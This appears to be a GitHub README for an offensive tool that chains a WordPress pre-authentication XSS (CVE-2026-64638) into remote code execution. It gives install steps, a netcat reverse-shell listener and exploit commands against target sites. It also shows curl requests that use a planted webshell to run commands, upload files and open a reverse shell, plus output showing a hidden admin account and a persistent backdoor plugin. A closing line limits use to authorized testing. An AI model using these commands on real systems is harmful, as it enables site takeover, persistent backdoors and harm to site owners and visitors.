g0d150ne/xss2shellExploits WordPress pre-auth XSS (CVE-2026-64638) to achieve remote code execution, installing an AES-encrypted backdoor webshell with persistence, file upload, reverse shell, and stealth options for authorized red-team engagements.
WordPress Pre-Auth XSS → RCE Chain Exploit
Developed by G0D150NE
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Install dependencies
pip3 install requests beautifulsoup4 cryptography
# Run
python3 poc.py -h
# Open terminal for reverse shell
nc -lvnp 4444
Auto Mode (Recommended)
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
XSS Mode (No Credentials)
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
Direct Mode (With Credentials)
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
After webshell installed:
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
| Option | Description | Default |
|---|---|---|
target | Target WordPress URL | Required |
-u, --username | WordPress admin username | - |
-p, --wp-pass | WordPress admin password | - |
--lhost | Listener IP address | 127.0.0.1 |
--lport | Listener port | 4444 |
--mode | Exploit mode (auto/xss/direct) | auto |
--slug | Plugin slug name | g0d150ne |
--callback-port | Callback server port | 9090 |
--backdoor-pass | Backdoor password | G0D150NE |
After successful exploit:
| Feature | Command |
|---|---|
| Execute Command | ?b2h=BASE64_CMD |
| Upload File | -F '[email protected]' |
| Reverse Shell | ?rev=1 |
| Plain Command | ?cmd=id |
| Encrypted Backdoor | ?decrypt=AES_DATA |
Hidden Admin Created:
sysadmin_{slug}{backdoor-pass} (default: G0D150NE)╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
| Problem | Solution |
|---|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
Connection refused | Check listener: nc -lvnp 4444 |
Login failed | Verify credentials or use XSS mode |
Plugin upload failed | Check permissions, use different slug |
Argument conflict | Use -p for wp-pass, --backdoor-pass for backdoor |
For educational and authorized testing only.
Use only on systems you own or have explicit permission to test.
The author is not responsible for any misuse or damage.